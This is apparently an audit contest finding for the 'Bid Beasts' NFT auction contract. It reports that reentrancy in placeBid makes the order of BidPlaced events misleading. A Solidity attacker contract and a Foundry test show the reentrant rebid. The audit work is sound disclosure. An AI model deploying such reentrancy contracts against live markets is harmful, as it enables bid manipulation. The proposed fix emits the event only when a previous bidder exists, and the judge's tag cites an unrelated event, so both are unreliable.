Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: low
Valid

Misleading Final BidPlaced Event from Reentrancy

Misleading Final BidPlaced Event from Reentrancy

Description

Reentrant rebid during refund emits BidPlaced for attacker first; outer emission for original bidder last, misleading databases parsing latest event as highest bid.

if (previousBidder != address(0)) {
_payout(previousBidder, previousBidAmount); // Reentrancy here emits attacker's BidPlaced
}
emit BidPlaced(tokenId, msg.sender, msg.value); // Misleading "latest" for original

Risk

Likelihood:

  • Reentrant refund rebids in placeBid.

  • Event parsing in reverse for auction status.

Impact:

  • Wrong highest bidder logged, hiding true leader.

  • Misleads on status, causing duplicate/missed actions.

Proof of Concept

Deploys reentrant contract that rebids higher in receive. Funds initial bid by reentrant, then BIDDER_2 outbids expecting reentrant event first then BIDDER_2 last; asserts reentrant as true highest to show hidden winner.

// Add BidPlaced event in test
event BidPlaced(uint256 tokenId, address bidder, uint256 amount);
// ReentrantBidder: receives refund, bids previous*1.05
contract ReentrantBidder {
BidBeastsNFTMarket public market;
uint256 public tokenId;
constructor(address _market, uint256 _tokenId) {
market = BidBeastsNFTMarket(_market);
tokenId = _tokenId;
}
receive() external payable {
BidBeastsNFTMarket.Bid memory bid = market.getHighestBid(tokenId);
uint256 requiredAmount = (bid.amount / 100) * (100 + market.S_MIN_BID_INCREMENT_PERCENTAGE());
// Outbid, reenter to place higher bid
if (bid.bidder != address(this) && address(this).balance >= requiredAmount) {
market.placeBid{value: requiredAmount}(tokenId);
}
}
function placeInitialBid() external payable {
market.placeBid{value: msg.value}(tokenId);
}
}
function testMisleadingFinalBidPlacedEvent() public {
_mintNFT();
_listNFT();
// Initial bid by reentrant
ReentrantBidder reentrant = new ReentrantBidder(address(market), TOKEN_ID);
vm.deal(address(reentrant), 5 ether);
vm.prank(address(reentrant));
reentrant.placeInitialBid{value: 1.1 ether}(); // BidPlaced(reentrant, 1.1 ether)
// BIDDER_2 outbids, triggers reentrancy
vm.deal(BIDDER_2, 1.25 ether);
vm.prank(BIDDER_2);
// First: reentrant rebid (1.25*1.05=1.3125 ether)
vm.expectEmit(true, true, false, true);
emit BidPlaced(TOKEN_ID, address(reentrant), 1.3125 ether);
// Then: BIDDER_2 (misleading "latest")
vm.expectEmit(true, true, false, true);
emit BidPlaced(TOKEN_ID, BIDDER_2, 1.25 ether);
market.placeBid{value: 1.25 ether}(TOKEN_ID);
// Actual highest: reentrant (hidden by event order)
BidBeastsNFTMarket.Bid memory currentBid = market.getHighestBid(TOKEN_ID);
assertEq(currentBid.bidder, address(reentrant));
}

Recommended Mitigation

Moves BidPlaced emit before payout to fix order; removes duplicate after to show correct bidder sequence.

if (previousBidder != address(0)) {
+ emit BidPlaced(tokenId, msg.sender, msg.value); // Emit before payout
_payout(previousBidder, previousBidAmount);
}
-emit BidPlaced(tokenId, msg.sender, msg.value); // Remove
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts Marketplace: Incorrect Event Emission

placeBid emits AuctionSettled even though the auction hasn’t ended, causing misleading event logs.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.